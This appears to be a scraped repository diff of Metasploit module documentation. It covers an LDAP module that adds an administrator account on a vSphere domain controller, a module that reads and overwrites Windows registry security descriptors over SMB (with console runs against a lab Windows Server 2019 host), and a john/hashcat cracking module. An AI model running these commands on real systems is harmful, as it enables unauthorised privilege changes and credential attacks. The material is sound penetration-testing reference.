USERNAME cn=192.168.3.32,ou=Domain Controlle no The username to authenticate to LDAP server
|
||||
rs,dc=vsphere,dc=local
|
||||
BIND_PW #$F4!4SeV\BL~L2gb(oa no Password for the BIND_DN
|
||||
PASSWORD NewPassword123# no Password of admin user to add
|
||||
PASSWORD #$F4!4SeV\BL~L2gb(oa no Password for the BIND_DN
|
||||
NEW_PASSWORD NewPassword123# no Password of admin user to add
|
||||
RHOSTS 192.168.3.32 yes The target host(s), see https://github.com/rapid7/metasploit-framework
|
||||
/wiki/Using-Metasploit
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
USERNAME MsfAdmin no Username of admin user to add
|
||||
NEW_USERNAME MsfAdmin no Username of admin user to add
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module reads or writes a Windows registry security descriptor remotely.
|
||||
|
||||
In READ mode, the `FILE` option can be set to specify where the security
|
||||
descriptor should be written to.
|
||||
|
||||
The following format is used:
|
||||
```
|
||||
key: <registry key>
|
||||
security_info: <security information>
|
||||
sd: <security descriptor as a hex string>
|
||||
```
|
||||
|
||||
In WRITE mode, the `FILE` option can be used to specify the information needed
|
||||
to write the security descriptor to the remote registry. The file must follow
|
||||
the same format as described above.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/admin/registry_security_descriptor`
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key>`
|
||||
1. **Verify** the registry key security descriptor is displayed
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key> file=<file path>`
|
||||
1. **Verify** the registry key security descriptor is saved to the file
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key> action=write sd=<security descriptor as a hex string>`
|
||||
1. **Verify** the security descriptor is correctly set on the given registry key
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> file=<file path>`
|
||||
1. **Verify** the security descriptor taken from the file is correctly set on the given registry key
|
||||
|
||||
## Options
|
||||
|
||||
### KEY
|
||||
Registry key to read or write.
|
||||
|
||||
### SD
|
||||
Security Descriptor to write as a hex string.
|
||||
|
||||
### SECURITY_INFORMATION
|
||||
Security Information to read or write (see
|
||||
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/23e75ca3-98fd-4396-84e5-86cd9d40d343
|
||||
(default: OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION).
|
||||
|
||||
### FILE
|
||||
File path to store the security descriptor when reading or source file path used to write the security descriptor when writing
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Read against Windows Server 2019
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=READ key='HKLM\SECURITY\Policy\PolEKList'
|
||||
[*] Running module against 192.168.101.124
|
||||
|
||||
[+] 192.168.101.124:445 - Raw security descriptor for HKLM\SECURITY\Policy\PolEKList: 01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Write against Windows Server 2019
|
||||
Note that the information security has been set to 4 (DACL_SECURITY_INFORMATION) to avoid an access denied error.
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 key='HKLM\SECURITY\Policy\PolEKList' action=WRITE sd=01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000 security_information=4
|
||||
[*] Running module against 192.168.101.124
|
||||
|
||||
[+] 192.168.101.124:445 - Security descriptor set for HKLM\SECURITY\Policy\PolEKList
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Write against Windows Server 2019 (from file)
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=WRITE file=/tmp/remote_registry_sd_backup.yml
|
||||
[*] Running module against 192.168.101.124
|
||||
|
||||
[*] 192.168.101.124:445 - Getting security descriptor info from file /tmp/remote_registry_sd_backup.yml
|
||||
key: HKLM\SECURITY\Policy\PolEKList
|
||||
security information: 4
|
||||
security descriptor: 01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000
|
||||
[+] 192.168.101.124:445 - Security descriptor set for HKLM\SECURITY\Policy\PolEKList
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -11,28 +11,36 @@
|
||||
4. Do: ```run```
|
||||
5. You should hopefully crack a password.
|
||||
|
||||
## Actions
|
||||
|
||||
### john
|
||||
|
||||
Use john the ripper (default).
|
||||
|
||||
### hashcat
|
||||
|
||||
Use hashcat.
|
||||
|
||||
## Options
|
||||
|
||||
### CONFIG
|
||||
|
||||
**CONFIG**
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
### JOHN_PATH
|
||||
|
||||
**JOHN_PATH**
|
||||
The absolute path to the John the Ripper executable. Default behavior is to search `path` for `john` and `john.exe`.
|
||||
|
||||
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
|
||||
`john` and `john.exe`.
|
||||
### POT
|
||||
|
||||
**POT**
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
### DeleteTempFiles
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user